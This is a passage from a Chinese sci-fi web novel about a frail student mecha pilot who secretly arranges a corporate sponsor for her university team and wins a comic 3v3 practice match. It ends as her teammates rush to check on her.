“确认什么啊，对了，联赛的事情怎么样，报名要截止了啊，你究竟搞定没有！” 陶影低头沉思：“就是在思考这件事用哪种解决方式比较好。” “学校卡着材料呢，你还有其它解决方式？” “嗯哼。” 陶影说着，光脑突然弹出新闻。 “震惊！海台科技随意删号，被玩家起诉！” 似乎是因为之前封掉那个以欺负新人为乐的团体，《火种》又被送上热搜。 陶影点开新闻，流出海台科技内部的录像。 漂亮的卷发女人靠在椅背上。 哦——这个背影，是伊琳娜。 “总裁，他们这种行为虽然非常过分，但确实没有违反用户协议，删号不符合规则，后续可能会被起诉。” 漂亮的卷发女人无视员工的反对，手毅然决然按下永封键。 “这种情况还考虑什么规则，权力拿来干什么的？就是这种时候用的。” “何况我们现在就一小作坊，指不定哪天就垮了，现在不放手爽一把那以后就爽不到了。” 陶影：“……” 好歹是四大机甲商之一，怎么自称小作坊。 不过上面一句话她倒是认同，规则掌握在有权力的人手里，比起遵守它，不如利用它。 评论区大多是不明真相的围观群众，都在讨伐伊琳娜。 只有几个知道内情的人帮忙说话。 “起诉海台科技的是之前那几个专门欺负新人的垃圾吧？” “他们怎么还好意思起诉的？我挂我自己？” 但因为声量太小，很快就被淹没在了网民的唾沫中。 再看，海台科技似乎因为这件事，股价大跌，陷入危机。 “唔。” 陶影点开伊琳娜的星网帐号，这人从昨天开始，就情感充沛地发了几十条帖子，明显是喝醉了在发酒疯。 【伊琳娜】：打从一开始，我就不应该跟她成为朋友。不成为朋友，我们就不会做这个游戏。不做这个游戏，我们不会关系变好，关系不变好，我就不会因为她一直把游戏运营下去，游戏没运营，我那天就不会删号。 【伊琳娜】：哦，不对，删号挺爽的，他们活该。我不后悔这个。 “叮”，弹出新消息。 伊琳娜又发了一条帖子，没有内容，只有一个星网直播链接。 陶影点开直播。 模糊的竖屏画面中，镜头对准墙上的屏幕。 伊琳娜呆滞地坐在工作室内，反复看着陶影在火场留下的最后记录。 地上一片碎片和泼洒的红酒，像是刚刚摔过酒杯。 伊琳娜发了一会呆，起身来到玻璃柜前，掏出瓶一看就价格昂贵的红酒，秘书一脸心疼地拉住伊琳娜，嘴里说：“你冷静点伊总，请别发疯了！” 但她的阻拦怎么可能拦得住一个酒鬼。 伊琳娜一把甩开秘书的手，转过头对着直播镜头。 情绪稳定、成熟靠谱的堂堂总裁，此刻指着屏幕，眼圈红着，满脸控诉。 “哈，遗言？” “陶影，你是 不是有病？死之前明明有机会求救，你却花时间在那里传恒我的数据，然后好像突然想起了什么似的，很洒脱似的留一条遗言？” “你提我做什么？为什么要提我？谁关心你为什么会死！？” “都十年过去了，我好不容易……”伊琳娜哽咽一下。 她好不容易快要放下这件事了。 ——如果人类死后真的存在灵魂，或者什么四维生物之类乱七八糟的形态，总之只要活着，那么我一定会拼尽全力，再回到这个地方。 伊琳娜恍惚一瞬，回过神，恶狠狠道：“如果人类死后真的存在灵魂，你会回到这个地方，是吗？你最好是。” “陶影，如果你真的有这个本事活过来，绝对不要让我逮到。” “让我发现，你就死定了！” “我恨你。听见了吗，你这个疯子！” “我恨你！” 直播在一片混乱中被秘书掐掉了。 陶影盯着屏幕看了好半晌，直到身边的林别歌投来奇怪的眼神。 “影子，你怎么了？怎么表情有点哭笑不得……” 好像她的道德和笑点在打架。 但她们这位队长好像没有什么道德吧。 林别歌一脸懵逼，伸手就往陶影额头上探。 “发什么病呢？” 陶影回过神，笑着挡开林别歌的手。 不知道是不是林别歌的错觉，总觉得她这个笑容有点温柔。 “没病，只是联赛的事确定要怎么解决了。” 说完，陶影像是想起什么，补充道：“对了，下次上机课我跟你们一起。” 陶影双手垫在脑后，望着树影，悠然地在草地上翻了个身。 没等林别歌回答，已经闭眼睡着。 片刻后，学校里响起林别歌惊恐的大喊。 “——你要跟我们一起上机训练？”—— 作者有话说：我们倒霉的伊总……[捂脸笑哭] 第50章 星际机甲协会总部。 整栋建筑充满了科技感。 水晶一样剔透的双锥形智能体悬浮在大门口,下部的锥端在距离地面二十厘米高的位置上下沉浮。 双锥形智能体引导陶影来到等候区。 智能体甜美道：“帮您叫号，您要办理的业务是？” “高校机甲联赛相关。” “好的，请拿好您的号码牌,在等候区等候~” 陶影接过十八号的牌子，坐在大厅等了一会儿。 等候区透明的玻璃幕墙正在播放令人心旷神怡的旅游广告,冰川裂纹于玻璃幕墙绽开。 广告结束，墙面上显示出各个赛区的参赛信息。 联赛由机甲协会举办,光是切斯特星赛区,就有三百二十六个队伍参赛。海选赛会在这三百多个队伍中,选出大概三十个队伍进入半决赛。 报名已经快截止了，没什么人排队,很快叫到陶影的号码。 “联赛报名怎么这个时候才来？”工作人员怪异地瞥了她一眼,但还是伸手接过材料,手敲了敲一边的仪器，示意陶影刷芯片确认身份。 报名处的系统连接至星网高校核心数据库,可以直接读取学生的学校信息。 “请输入学生卡密码或靠近芯片扫描器。” 陶影向前一步，转过身,机器闪过一道蓝光，扫描了她后颈的ID芯片。 “滴——就读学校，莱门大学。” 工作人员愣了一下,半抬头，用余光小心打量面前的学生。 星际TOP1高校？ 旁边传来一声嗤笑。 “莱门大学？那里不都是书呆子，他们参什么赛？” “你忘了，莱门大学机特学院啊。” “哦——我想起来了，去年第一场海选赛就输得特别惨的那个？” “他们今年还要参加啊，真有毅力。” 他们语气中略带嘲笑，一脸轻视地看向某位莱门大学的书呆子。 但陶影听得很清楚。 看上去像是阿尔泽塔军校的学生……唔,三级军校，水平一般。 正好等得很无聊，陶影托着下巴，跷起腿，视线在那阿尔泽塔军校学生身上游移一番后，故作无奈地啧啧几声，十分可惜地叹气。 什么都没说，但已经把几人上下评价了个遍。 “不是，她什么意思？叹气是什么意思？” 那名阿尔泽塔学生，显然是喜欢评判别人，但不喜欢被人评判的类型，立马中招。 他抹两把袖子就要过来跟陶影碰一碰，身边的同伴一人一边，拉着他劝架。 “蒜鸟蒜鸟，都不容易。” “你跟菜鸡计较什么。” “说出去别人以为我们阿尔泽塔军校欺软怕硬呢。” 那人似乎被劝住了，冷哼一声，转头办理业务。 陶影这边的工作人员检查材料差不多结束了。 工作人员眼皮耷拉着，看向最后的材料。 年龄和身份认证OK，心理状态评估OK，体能评估当然也OK……啊？！ 不OK！ 工作人员举起那长长的，折叠得跟风琴一样的体能评估报告。因为太长了，她甚至站起来都不能完全展开，只能铺到桌子上。 “体能评估报告终极奏折形态ver.”直接摊满了整张桌子。 保守估计差不多两米远吧。 不是，你这确定是体能评估数据，不是帝国建国史吗？ 什么体能需要评估这么长一串？ 工作人员整个人都裂开了。 陶影好心提醒道：“你拿漏了，下面还有一叠，辛苦。” 工作人员一句“不辛苦，命苦”到了嘴边，只能端着职业假笑塞回去。 连旁边窗口闲着的工作人员都走过来看热闹。 他手里拿着搪瓷杯：“这啥啊？” 工作人员生无可恋：“体能评估报告。” “哦，是整个队伍的总报告吧，几个学生如果体质都不太好，报告长点倒也正常。你还是太年轻了，没有见过世面，这有什么好惊讶的。” 工作人员颤抖着手：“不，是一个人的报告。” “啊？” “不是一个队的，是一个人的体能评估数据。” “啊？？” 现在两名工作人员都裂开了。 这世面他们确实没见过。 十分钟后，他们敬业地检查完报告，感觉已经有点灵魂出窍。 其中一个忍不住拿起来再仔细端详了一番，他看着那张照片，绕着陶影走了三圈，随后拍拍那份“奏折”。 “这是体能评估？这是病历本吧？”能进重症监护室的那种。 陶影从善如流地开玩笑道：“其实是我的尸检报告。看见我手臂上的淤青了没，这是尸斑。” 工作人员手里的搪瓷杯一抖。 什么，这是个地狱笑话吗。 但看学生苍白的脸色，时不时掖紧的衣领，动不动咳嗽的姿态，好像又不是在开玩笑。 他太奶半截身子入土的时候气色可能都比这名学生好点。 能笑吗这个时候？ 回头不会被投诉歧视残疾人吧？ 他不想上星网头条的社会新闻版面啊！ 斜眼瞥到材料上的队名，工作人员迟疑道：“那，那确实……挺符合你们队伍调性的。” 陶影颇为不着调地笑：“是吧？我也觉得太空女鬼队挺贴切的。” 工作人员满头大汗，继续一条条翻着材料。 队长白颖姑且不说，她的两个队友，体能评估倒是挺正常的— —哦，这个叫南卦的学生，心理评估在及格线徘徊。 这个队伍风险非常之大啊。 沉默了一阵，片刻后说：“你稍等一下，我给上级打个电话。” 说着两人端着水杯，跑后台商量对策去了。 电话里传来协会上级的大声怒吼。 “什么，病历本比我奶的命还长？体质F？不行，不能让她参加比赛。就算签了参赛免责协议书，但是她们是大学生，懂吗，珍贵的大学生，要是比赛出了什么问题，我们要负责任的。” “高校联赛本来就是学生积累比赛经验的，把命赌上是要干嘛，她敢我还不敢呢！她们交的那点报名费还不够医疗费跟机甲损耗费。而且你知道我们的医疗团队有多紧缺吗？” “总之不行，你们想办法给我拒了。” 两位工作人员经过一阵酣畅淋漓的挨骂后，回来了。 他们很快提出，陶影的材料里缺乏莱门大学的证明书，她不能报名。 陶影拖了个椅子，两手托住下巴，灿烂笑着。 “不止通过学校参赛这一条路吧。如果有机甲赞助商背书也可以。” 说着陶影早有准备似的，翻出比赛规则条款，推到桌对面。 条款第67条大字写着：只要年龄符合高校标准，且有机甲赞助商推荐，也可参赛。 画重点，机甲赞助商推荐，不需要通过学校报名。 说真的，这种动辄几千条的条款根本没几个人看，怎么第一年参加比赛的新生会知道这个！ 工作人员开始擦冷汗，突然被隔壁窗口的声音吓了一跳。 阿尔泽塔军校的学生猛拍了一下桌子。 “我们的赞助商怎么就不行了！” “您这个，不是机甲赞助商……要是职业联赛另说，高校联赛毕竟包含了一定公益性质，赞助商不是谁都能上，必须要机甲赞助商才行。” 何况机甲上印满辣条，谁能严肃地看比赛啊。 这群学生怎么会找辣条赞助商！ 但工作人员还是耐心找理由道： “机甲比赛不仅是机师实力的比拼，也是其背后团队的比拼。如果没有赞助商赞助机甲，就算海选赛可以通过，但半决赛和决赛，也很难有成绩。” “你们要是真的实力足够，会被挖角去职业队的。听我的，明年再来吧。你们还年轻，还有机会。” 那名刚刚还气势惊人的学生瞬间萎靡下去，做最后挣扎。 “我们为这个努力了好久，我可以加钱，辣条厂家赞助真的不行吗？” “不行。” 陶影面前的工作人员轻呼一口气，用笔指指那边正在哭泣的学生。 他对着陶影道：“白颖同学，你看，就是这个情况，不是我故意要拦你。赞助商也不是路边随便的猫猫狗狗就可以，最起码要能叫得上名字的机甲科技公司才行。” “哦，那起码得星际机甲商年度排名前一百吧。” “那当然。”工作人员点头。 排名前一百，算是非常厉害了。 但叫得上姓名的机甲商，哪里会推荐一个无名无姓的小队伍，他们都有自己培养的贵重队伍，专门参加职业联赛，给自家机甲打广告的。 这个队伍的配置，方方面面都瘸腿，想找到机甲赞助商？不可能。 工作人员好心规劝道：“明年再来吧学生。” “你说这话我就放心了。” 陶影抬手推出一份文件，在工作人员震惊的表情中，云淡风轻地一笑。 “既然前一百都可以，那想必我的赞助商应该算叫得上名字。” “喏，海台科技。” “星际四大机甲商之一。” 三天前，海台科技的总裁曾经收到过一封邮件。 当时《火种》服务器被大量攻击，伊琳娜的星网帐号底下也充斥了网络水军，游戏差点被迫关服。 《火种》项目出现了严重的资金问题。 这时候一个叫S的谜之人物突然出现，她私下联系伊琳娜，投资了数十亿星币，强行挽救了项目，帮助继续进行《火种》的运营。 S提出的唯一一个要求，就是伊琳娜需要以海台科技的名义，资助一个普通大学生队伍去参加机甲联赛。 伊琳娜一开始觉得这个“S”来历怪怪的，再加上那几天，伊琳娜的精神状态因为某位故去好友的死亡录像，癫得上了好几次星网热搜，情绪不太稳定。 所以她本来打算拒绝。 但S，偏偏是叫S。 陶影的惯用ID就是这个。 再加上，这个队伍来自莱门大学，而莱门大学是伊琳娜的母校。 伊琳娜鬼使神差地接受了这个合作请求。 她看着满地的红酒碎片，和正在费力打扫的智能管家，颓废地打了个酒嗝。 屏幕上还放着陶影的视频，伊琳娜挥手关掉。 反正事情都已经这样了。 先去莱门大学看一眼她要赞助的队伍，换换心情好了。 莱门大学机特学院，战术模拟区。 上次的宿舍楼垮塌，也波及到了教学区，修复时重新规划了格局，整个空间焕然一新。 公告牌也是。 因为担心再次被某位同学倒拔起来，特意放置在了战斗区外。 临近上课时间，大家都在活动身体，准备今天的机甲课。这时，校门口却来了一位不速之客。 一艘复古汽车形态的小型亮红色私人穿梭舰，轰鸣着停在学校门口。 车门推开。 黑色马靴与地面相碰，发出清脆的踢跶声。 一个戴着墨镜的卷发女人，从驾驶座走了下来。 她大衣微敞，露出白色丝质衬衫，腰间一条镶嵌珍珠的皮带。 白金色的长发在阳光下泛着光，看得人恍神。 女人一手搭在车门扶手上，风吹乱她的头发，她优雅地抬起指尖，顺了顺头发，把耳边的碎发压在墨镜下。 非常漂亮，且拉风。 且一看就很有钱。 伊琳娜微微推起墨镜，好奇地看向斑驳的学院门牌。 “哦，这里就是莱大机特学院啊。果然跟传闻一样……呃。” 机特学院的机特俩字各少了一个偏旁，变成了木牛学院。 “这么抠门？修门牌的经费都不批。” 伊琳娜碎碎念两句，皱着眉头走进校门问路，一路在路人的震惊中，来到了战术模拟区。 “这，这是谁家人脉？”“不是我姐。”“不是我姨。” “等下，她是不是朝我这边来了？” “是朝我这边来的！” 伊琳娜踩着长靴，一脚踩着众人的心，径直来到战术模拟区，她干脆地坐到了观众席第一排，引起一阵骚动。 同学们排除队友之后，觉得只能是老师的人脉了。 “姬老师！是你认识的人吗！” 姬亦自然也看见了伊琳娜，她走过去，自然伸手。 “姬亦，幸会。” 女人单手摘下墨镜，伸手回握：“伊琳娜，也幸会。” 她们两个都不了解对方，但凭借多年混迹帝国人脉场的经验，很快就识别了对方的身份。 姬亦勾唇试探：“海台科技的总裁为什么会来这种小破学院？” 伊琳娜回敬：“我也想问联邦的姬亦元帅，为什么会来切斯特星养老？这里的学生应该比部下难教多了吧？” 她们对视一眼，话语中颇有点针锋相对。 伊琳娜终归还是一般人士，很快败在姬亦征战虫族场多年的元帅威严上。 伊琳娜于是转头旁敲侧击：“白副官，我记得你是塔卡恩星人，离第一星系还挺远的。退役后也跟着姬元帅一起来第一星系养老啊？” 白副官正经地扶了扶眼镜。 “这个属于个人隐私，不便透露。” “哦？” 姬亦耸耸肩，解释道：“没办法，可能是长期在前线，他听我命令听习惯了，一天不被我骂两句心里不舒服，本来回塔卡恩的票都买好了，但临出行我去送他，他一边哭一边扒拉着不让我走，你也知道，我这个人最宠部下了，只能带着他一块来。” 白副官：“元帅，我那天扒拉你是因为票被你偷走了，而且也没哭，请不要说得我好像对你另有所图一样，我们之间是纯洁的上下级关系，谢谢。” “那我现在买票你走？” “……”白助教转过头装作没听见。 姬亦继续问伊琳娜：“你的问题，我们回答完了，所以你来这儿做什么？” “看看校友。” “哦——”姬亦拉长语调，“那你应该去莱门大学本部，出门左转，十分 钟路程，不谢。” “白副官，送客。” “好吧好吧，我说实话。” 伊琳娜在元帅的攻势下举双手投降。 “其实海台科技资助了机特学院的一个队伍参加高校机甲联赛。” “我今天来是……想看看她们的实力。”—— 作者有话说：昨晚写到一半昏睡过去了，更新稍迟[捂脸笑哭]魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 50-60 第51章 资助他们学院的机甲小队？ 这是什么小众的语言。 白助教不解地推眼镜,掏出光脑就开始翻记录。 “你是说我们学院吗？是有一队报名了联赛，周真、孙荡和姚梦桃。” “他们水平还不错。” 但即便如此，他们能参加联赛,也是白助教跟跟外联部磨了好久才同意的。 没听说什么赞助商啊？ 白助教奇怪归奇怪，还是帮伊琳娜找了一下他们几个人。 “就是现在场上那三位。” 伊琳娜朝白助教指着的方向一看,一个男孩，一头黄毛长得还有点尖嘴猴腮,另一个倒是挺正经沉稳,应该比较靠谱,还有一个红发女性，短发刀锋一般利落,唔,看上去中气十足。 整个队伍看上去都挺强的。 所以应该不是她要找的队伍。 伊琳娜给出关键信息：“跟我通话的是个女生,声音听上去有点虚，语气倒是挺不卑不亢的。” 白助教喉咙一动：“我有一种不详的预感。” “你的预感应该是对的,”姬亦想了想，“我大概知道你说的是谁了,正好今天有3v3对练，你说的那个队伍也会上场。我也挺好奇她们能打成什么样子。” 伊琳娜翘起腿，长靴不羁地蹬在观众席的挡板上。 “行,那我就坐这儿等着。” 背后的同学们：“哦！你们刚刚听见了吗，周真他们报名了高校联赛。” “我还听见那个总裁姐姐说她赞助了我们学院的联赛队伍。” “但她又说赞助的不是周真的队伍，我们学院还有其它联赛队伍吗？” 正在这时，前方传来伊琳娜和姬亦的交谈声。 “我想起来了，我赞助的那个队伍，名字是太空女鬼，队长好像叫白颖？” 观众席传来几十名同学咳嗽的声音。 “白颖是说体质F同学吧？”“好像是叫这名。”“糟糕,叫了太久的体质F同学，都忘记她真名是什么了。” “不过如果是她们，总裁今天可能要失望了吧？南卦和林别歌先不说，白颖到现在还没有上过一次机呢。” “就是就是。”同学们点头如啄米。 这位总裁肯定是被坑了，怎么会万里挑一找到体质F同学的队伍当赞助商！ 大家得出结论：“不管怎么想，周真他们的队伍都更适合投资吧。” …… 临上机甲前，陶影带了个便携医疗包。 孙荡正好路过，看她往机甲里塞急救包，呵呵一声，搭话道： “你今天要上场？算了吧，队友可以无功无过，但最起码不能拖后腿，你上场能干什么？” 陶影一个人在调试机甲，林别歌和南卦在热身，没看到这边发生的事。 孙荡还真是会挑时间搭话。 孙荡：“你怎么不说话。” 陶影不堪其扰，眯起眼睛，抬头直视面前的黄毛。 “你叫孙荡是吧，知道我们为什么被分成一组吗？” 孙荡愣了一下，不知道陶影突然问这个是什么意思，他只能回：“为什么？” “因为交战队伍是姬老师按强度分的。在她眼里，你们的水平和我们差不多。” “你！你骂我？我们队怎么可能跟你们水平一样？” 陶影真诚地：“怎么会，是在夸你们和我们队一样优秀。不过我觉得姬老师的分组的确不对。哦，不要误会，我的意思是说，我们队伍比你们强多了。” 孙荡声音一提：“你说什么？” 陶影露出个玩味的笑容：“不信打一场试试？” “试试就试试！来啊！” 孙荡气愤地朝陶影大拇指朝下，爬上机甲就要开打，但陶影并没打算这么早就开始游戏。 她朝白助教打了个暂停比赛的手势，白助教大老远跑过来问什么情况。 陶影友好示意：“机甲还有点东西需要调整，稍等十分钟。” “哟，不会是害怕了吧？还叫暂停？”孙荡开启了嘲讽，场上传来稀稀拉拉的嘘声。 陶影对此毫无反应，她分别爬上林别歌和南卦的机甲，微调了一下系统。 十分钟后，对方已经等得不耐烦了。 “她在干嘛？不会晕倒在机甲里了吧？” “要不叫人去看看？林别歌！” “哎，知道了，凶啥凶。”林别歌正要进机甲检查，陶影结束调试出来了。 下来的时候差点摔了一跤，还好林别歌正好在下边，接住了她。 “你悠着点，队长。别摔了，好不容易骨折才养好，不过你上去干嘛了？” 陶影拍拍屁股。 “没什么大事，就简单帮你们调试了一下系统。” “你还会这个？” “略懂。” “身体真没事？” “略好。” “行吧，那我们略开始比赛。”林别歌挥手示意，最后一个爬上机甲。 姬亦点点头，白助教宣布。 “六台机甲就位。对战开始！” 林别歌刚坐上VX-89，推了操纵杆，就飞一样出去了。她直到窜到孙荡面前，把人踹了个措手不及，才反应过来。 发出感叹：“靠北，今天机甲怎么这么丝滑？！” 南卦也惊喜地在原地转了两圈。 “是啊，就跟游戏里一样的手感。” 说不上来是哪里流畅，但就是驾驶体验比之前好了很多。 同学们：“这跟我们之前的机甲真的是同一台吗？怎么感觉焕然一新。” 白助教恍然大悟，难怪体质F同学之前叫了十分钟暂停。 “恐怕是进行了系统优化，只是那么短的时间内能将机甲调整到这种水平，也太神奇了。” “系统优化？”伊琳娜虽然是海台科技总裁，但对这些技术问题不怎么了解，她好奇问道，“这很难吗？” “十分钟能达到这种水平，确实很厉害，”姬亦解释道，“我们以前在军队内也有相关的技术人员，针对具体情况进行微调，不过能这么快有效果的倒是很少。” “是啊，这种微调很考验技术人员的水平。能达到完美的，我只见过一个。” 伊琳娜奇怪道：“谁？” 姬亦：“地下网络一个知名的机甲系统调试师，不过已经十几年没接单，大家都怀疑她是不是不干了。” 白助教的眼镜反射出洞察一切的光。 “深网一直有人高额悬赏这名机甲调试师的真实身份，不过Ta愣是从来没泄漏过一点痕迹。” “大家都怀疑是哪个机甲商内部人员，想赚点外快。” 姬亦打断道：“听说她最近上线深网了。” “是啊，前几天还远程接单了来着，一口气接了几十亿的单子，旧机甲调试完跟刚出厂的一样好用，雇佣兵圈子里都传爆了。” 伊琳娜：“？” “机甲调试这么赚钱的吗？” “毕竟战场上零件没有那么好流通，急需的时候可能没有，只能依靠系统调试，”姬亦摊手，“我第一次听白副官提起这个人，还以为是想骗我钱，直到那次战场上零件实在缺得太多，机甲完全不能启动，我怀着死马当活马医的想法，请那位调试师远程调试过一次机甲。” “结果令我惊叹。我拖着经过她调整的只剩一个能源核心的残缺炼狱号，直接砍死了两头S级虫母。” “我生涯一共也就砍死过七只吧，那可真是一场艰难的战斗。” “要是没有这位调试师，说不定我和白副官都会死在那儿。” 姬亦的眼神悠远起来，仿佛回到第二星系前线。 伊琳娜若有所思地转过头。 比赛还在继续。 前方，周真和林别歌打成平手。 后方，南卦护住陶影，孙荡时不时过来骚扰一下。 林别歌那边不太需要担心，得益于火种里的魔鬼训练，她已经非常熟悉VX-89的驾驶方式。 孙荡经过之前的战斗，一直对南卦有点发怵，不敢发动正面攻击。 只要陶影老老实实呆在南卦身后，面对爆发力极强的南卦，孙荡根本不是对手。 那就还剩下一个问题了。 陶影看向敌方队伍新增的第三人，姚梦桃。 姚梦桃还没有跟她们对战过，陶影也没有查询到她的战斗记录。 陶影想要苟一阵，观察她的战斗风格。 但姚梦桃和她一样，一直在战线后方徘徊。 机甲内的空气有些沉闷，陶影呼吸了两口，掏出医疗包内的氧气罐，接入机甲，微吸两口。 头脑清醒一点，继续思考。 姚梦桃迟迟不动，目的是什么？ 是因为觉得她们的队伍太弱，不值得出手，还是因为喜欢把控全局？ 或是想先消磨她们的体力，等林别歌疲累后，找准弱点，一击必杀？ 目前还没有足够的分析数据。 孙荡在南卦这里找不到突破口，转而和周真一起去夹击林别歌。 陶影思索着，不忘提醒一句：“林别歌，后退！” “看见啦！这种水平的攻击根本没在怕的。”林别歌自信地咧嘴一笑，VX-89双手撑地，头朝下在地上跳了一圈。 以一个非常刁钻的姿势，把孙荡的机甲踹飞十米。 林别歌的VX-89迅速退至队友身边，嘿嘿一笑：“帅吧，街舞动作。前两天刚学的。” 南卦竖起大拇指：“超帅的，想画。” 陶影和林别歌极有默契地同时伸手：“你先打住，比赛结束再画。” “我懂，只是表达一下内心情感，”南卦解释道，“这是我们第一次现实合作，我要在暴风雨里挥洒汗水到最后一刻。” “天气好好的，哪有暴风雨。” “这是一种比喻懂吗。” “那你说迎着沙尘暴不是更合适。” 陶影点头，打住了两人的争论：“总之加油。” “比格老师，我们加油！” 林别歌：“哦！燃起来了！” 两台机甲右手高举。 于是众人眼中就是，两台VX-89架打到一半，突然在赛场中间碰了一下拳。 姚梦桃忍不住了，终于说出今天第一句话。 “这究竟哪里招收的奇葩学生，偏偏还全部被安排到了一个宿舍？” 而同学们已经放弃观战，开始极致吐槽模式。 “好燃，但不知道在燃什么。” “这个队伍真的没问题吗喂。” 白助教生无可恋地拿出对讲机，开始全场广播：“对战中呢，南卦、林别歌，你们能不能认真点？白颖同学，你已经连续十分钟停留在原地，一厘米都没有移动了。姚梦桃，你也是！场上现在只有周真一个人在战斗啊！你们在干嘛，开机甲玩过家家吗？” “不要浪费电力，一分一秒都是经费！” 听上去后面那句才是重点。 陶影脖子僵硬，在驾驶座微微动了动。 她想了想，对白助教说：“其实我也觉得一直这么呆着不太好，而且思考太多了，总觉得很无聊，想运动一下。” 运动一下？ 白助教脑中闪起警告的红灯，他赶忙道：“其实不动也挺好的，你别有什么想法。” 又骨折进医疗舱住两个月可怎么办！ 林别歌也是一个害怕的起手式。 “影子，我觉得你不需要正面攻击，今天的战术，就一个字，等。等我干掉孙荡，干掉周真，再干掉姚梦桃，你俩躺赢就可以，听见没，别乱来啊。” 林别歌实在太了解她们这位队长了，她只要一有什么计策，敌人不一定倒霉，但队友多半会倒霉。 南卦总结：“战术虽保守但有效，小影躺赢就可以。” 陶影摊手：“不好意思，我才是队长，林别歌，晚饭的芹菜可以让给你，但队长的权力不行。” “混蛋，你本来就不喜欢吃芹菜吧。” 林别歌一边说，一边撇掉孙荡的右臂，南卦配合，顺势扯掉孙荡左腿，孙荡的VX-89机甲无法保持平衡倒下了。 比分来到3比2。 而这时候，战线后方的姚梦桃终于动了。 机甲的关节发出撕扯的声音，后屈的腿部蹬动，直直冲着林别歌攻击而来！ 没有一丝拖泥带水，机甲的手刀狠劈驾驶舱后部，林别歌运气好，正好错身躲过，而姚梦桃顺着惯性，在空中借力，又操纵腿部踢去。 哦——原来姚梦桃徘徊后方，既不是轻视对手，也不是喜欢掌控全局。 因为她是匹擅长观察对手的强悍孤狼。 林别歌一个人不是对手。 陶影脑子转了三秒，迅速猛推操纵杆。 她的VX-89一个滑跪，正正好跪到姚梦桃的机甲前。 于是林别歌回头时，就看到陶影夹在她和姚梦桃的中间。 眼看就要被一脚踢中驾驶舱。 林别歌惊恐大喊：“影子你疯啦！”—— 作者有话说：这个队伍大有问题。 第52章 就在陶影的机甲即将被姚梦桃一击必杀的时候,陶影动了，她以一个非常明显的慢动作—— 倒下了。 甚至还转了个圈。 就像电影里设计的场景一样。 但该场景不是出自什么刺激的机甲电影，而是出自交通纪录片。 简单来说。 陶影的机甲像交通纪录片里碰瓷的行人一样,经过精妙的计算，倒在了姚梦桃的机甲前。 “啊,姚梦桃把体质F同学打倒了吗！” “是，是吗？我这个角度看,怎么像是它自己倒下的……” “好像碰瓷。”“就是碰瓷吧。” “以她的体质来说也可能是真倒下了,白助教,救人啊！” 白助教纹丝未动，他已经察觉到真相,推了下眼镜。 “别急,只是虚晃一招。” 果然,下一刻陶影有了动作，她抱住姚梦桃的腿,拖到自己的胸口。 同学们：“？” 林别歌：“？” “刚刚体质F同学是操作机甲，把姚梦桃的腿压到了她机甲的胸口吗？这什么操作？” “不知道,可能觉得被打败太丢人了，想掌握一下失败的主动权？” “逻辑大师，佩服佩服。” 伊琳娜迷茫举手：“有人能分析一下战况吗？我不会开机甲,看不懂。” 大家齐齐心道——会开机甲的也看不懂啊。 但林别歌很快就反应了过来。 多么熟悉的影式操作。 冲队友来的。 林别歌侧头一看，某位双重人格的文艺少女，正忙着挡住周真，没看见影子刚才的动作。 没错，影子这一套丝滑小连招，不是做给对手看的。 是做给南卦看的！！ 下一秒，碰瓷的陶影突然情绪饱满地啊了一声。 “南瓜,我驾驶舱被踩了一脚，好痛，呼吸不过来。啊——姚梦桃还碾了我几脚，好疼。” 林别歌：“……”很刻意的惨叫声，但某人演得毫不心虚。 陶影话音刚落，林别歌头顶一道红光闪过。 南卦的机甲踩着周真的头，石破天惊地飞了过来。 不夸张，真的是离地十米的那种飞。 “小影等着，我这就来救你——”南卦语气悲愤，手里握拳，操纵杆一划一拉，猛爆发一个飞 踢，闪身出现在姚梦桃和林别歌中间，把刚刚还攻击性极强，威胁巨大的姚梦桃踹了个踉跄。 姚梦桃懵了一瞬间，迅速反应过来，开始接招。 林别歌好在躲得快，才没有被波及。而周真也迅速加入战局。 一时间战况非常混乱。 南卦拳头梆梆地，实打实朝姚梦桃的头揍了过去。 边打边哭边说：“姚梦桃同学，你下手没有一点轻重！小影都已经倒下了，你为什么还要踩她！之前帮我捡起掉在地上的橡皮，我还以为你是一个好人，可是你，你，你怎么能做这种事！” “我好难过！” “不是……”姚梦桃张大嘴想要解释，但南卦的攻击太密集，她光接招就已经很费力了。 什么叫做有苦说不出。 她什么也没做，是体质F过来突然抱住了她的腿！ 想着，姚梦桃就想抬腿反击，但腿动不了，低头一看，陶影的VX-89躺在地上，对她微微歪头。 如果机甲有表情，那陶影的VX-89现在应该是笑得很欠揍。 已经出场的孙荡大喊：“太空女鬼，你们怎么又是这个战术啊！缺德不缺德！” 陶影咧嘴一笑：“缺德但有用啊。” 南卦开始对着姚梦桃连环击打，直直把姚梦桃逼退到角落，看得众同学目瞪口呆。 “好惊人的爆发力……” 周真当然清楚南卦的爆发力有多强，这时候如果不出手，姚梦桃必然被打倒。他迅速变换计划，挡开林别歌，朝南卦背后的电源线伸手。 但南卦仿佛背后长了眼睛，反手抓住周真的手，直接拧着他一条手臂卸掉。 一打二，但平手。 很强。 只是出了一点差错。 这个过程中，南卦和周真，不小心同时踩上了陶影的驾驶舱。 一阵巨大的冲击力袭来，陶影狠狠撞入椅背。 嘴里有点咸味，陶影伸手一抹，一口血。 她晕血啊朋友。 陶影颤巍巍按住耳机：“南瓜，你挪一下脚稍稍。” 林别歌感慨：“你这会儿演技倒是好。” “这次不是演的。” “啊？” 南卦低头一看，她竟然一脚踩上队友的机甲，驾驶舱不详地凹了进去。 她发出无声尖叫。“对不起对不起小影啊啊啊啊啊——” 南卦飙出眼泪，半跪在地。 而周真的腿还踩在凹陷处。 卡崩。 周真的腿又陷下去一点。 南卦面色瞬间黑了。 林别歌捂住眼睛。 完了这不是。 下一刻，南卦一把抓住周真的腿，把他掀翻，骑在他背上，对着机甲的后脑勺就是一阵狠狠的锤。 陶影忍不住道：“那个，我没事，收手吧阿南，他已经认输了。” 南卦已经听不进去了。 伊琳娜再次迷茫举手：“我不懂机甲啊，这跟刚才的是同一个人吗？” “南同学时不时会抽风。” “习惯就好。” 而后来的事情不必再说，没有人能挡住失去队友的南卦同学。 队友祭天，法力无边。 白助教宣布结果是太空女鬼队的胜利。 林别歌钻出机甲，浑身是汗，大喊道。 “我们赢啦！” 这是她们第一次在现实当中打赢对手。林别歌兴奋得绕场跑了一圈。 南卦也跳下机甲，两人蹦蹦跳跳地抱在一起。 “影子也……咦影子怎么还没出来，刚刚不是说没事吗？”林别歌高兴到一半，和南卦对视一眼，同时大喊出声。 “不会又晕过去了吧！” 两个人狂奔到陶影的机甲面前，疯狂敲门。 